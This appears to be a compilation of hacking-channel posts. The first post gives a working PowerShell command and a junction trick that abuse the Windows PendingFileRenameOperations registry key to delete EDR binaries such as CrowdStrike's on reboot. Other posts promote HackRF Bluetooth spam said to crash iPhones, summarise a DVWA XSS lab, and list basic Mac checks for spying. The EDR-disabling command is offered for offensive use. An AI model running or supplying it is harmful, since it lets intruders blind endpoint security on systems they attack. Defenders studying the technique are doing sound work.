🦑Disabling EDRs by File Rename Junctions (Crowdstrike)

PendingFileRenameOperations allows applications to create file rename operations by creating a registry entry under the HKLM\SYSTEM\CurrentControlSet\Control\Session Manager. Initially I attempted to create this entry, pointing it towards the EDR binary as such in PowerShell, based on the StackOverflow thread.

➡️ Powershell start :

new-ItemProperty -path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name "PendingFileRenameOperations" -Value $($((Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name PendingFileRenameOperations -ErrorAction SilentlyContinue).PendingFileRenameOperations) + "\??\C:\Program Files\<EDR_PATH>.exe`0`0") -type MultiString -Force | Out-Null

➡️ Powershell end.

⚠️ This works for AVs/EDRs without anti-tampering. Security products with anti-tampering can use [CmRegisterCallbackEx](https://lnkd.in/dmCGSwnX) to monitor and block registry operations from the kernel. A kernel driver could block registry keys from being created if they referenced their core services.

Using a reparse point (junction) - kudos again to sixtyvividtails - we can create a junction from: C:\program-files -> C:\Program Files\

And yet again we can create our PendingFileRenameOperations, pointing the key at the EDR binary pathed through our junction, something that most EDRs do not check. All of this of course requires Admin privileges. On the next reboot, any core EDR binaries will be renamed to "", in turn being deleted.

🦑HACK-RF BLUETOOTH SPAM?

Most people don’t know that before Flipper zero came, Hackrf was and is still doing Bluetooth spamming and crushing iOS devices. I’m doing this POC on my iPhone 13 with 18.2.1 update and as you can see is working even with Bluetooth is off. The HackRF is bigger than the Flipper Zero in the context of Bluetooth spoofing because it provides greater flexibility, power, and signal control for professional-grade research and exploitation. You can do on both iOS, windows and Android 🤝

🦑XSS Attack Simulation Using DVWA and Metasploit

In this simulation, I demonstrated how Cross-Site Scripting (XSS) attacks work using Kali Linux, Metasploit, and the Damn Vulnerable Web Application (DVWA).

Here’s a breakdown of what I did:

1. Set up the target environment: DVWA was configured to demonstrate how vulnerable web apps can be.

2. Launched the attack: Using Metasploit, I injected a malicious script into a vulnerable input field on the DVWA platform.

3. Observed the impact: The script executed successfully, proving how attackers can use XSS to steal sensitive information or manipulate web content.

Attackers use XSS to hijack user sessions, steal cookies, or manipulate data, all without the user knowing. It’s one of the most common vulnerabilities in web applications.

Hence, it's important to
1. Validate and sanitize all user inputs.
2. Implement strong Content Security Policies (CSP).
3. Regularly test your web applications for vulnerabilities using tools like DVWA.
4. Educate developers and organizations on secure coding practices.

This is a reminder of why secure coding and constant vulnerability testing are critical for protecting web applications.

🦑How to Check If Someone Is Spying On Your Computer! 🧑‍💻🥷 (Level: Basic- Mac)

1️⃣ Go to System Preferences: Open the Apple menu and click on "System Preferences."

2️⃣ Check Users & Groups: Click on "Users & Groups" to see the list of accounts on your Mac.

3️⃣ Look for Suspicious Users: Review the list and ensure all accounts are familiar. If there’s an account you don’t recognize, it could be a sign of unauthorized access.

4️⃣ Check for Sharing Settings: Go back to "System Preferences" and click on "Sharing." Ensure only the services you intentionally turned on (like file sharing) are enabled, and verify the users who have access.

5️⃣ Audit Your Applications: Open "Activity Monitor" and check the running processes. Look out for any apps or processes you don’t recognize. Google their names if you’re unsure.
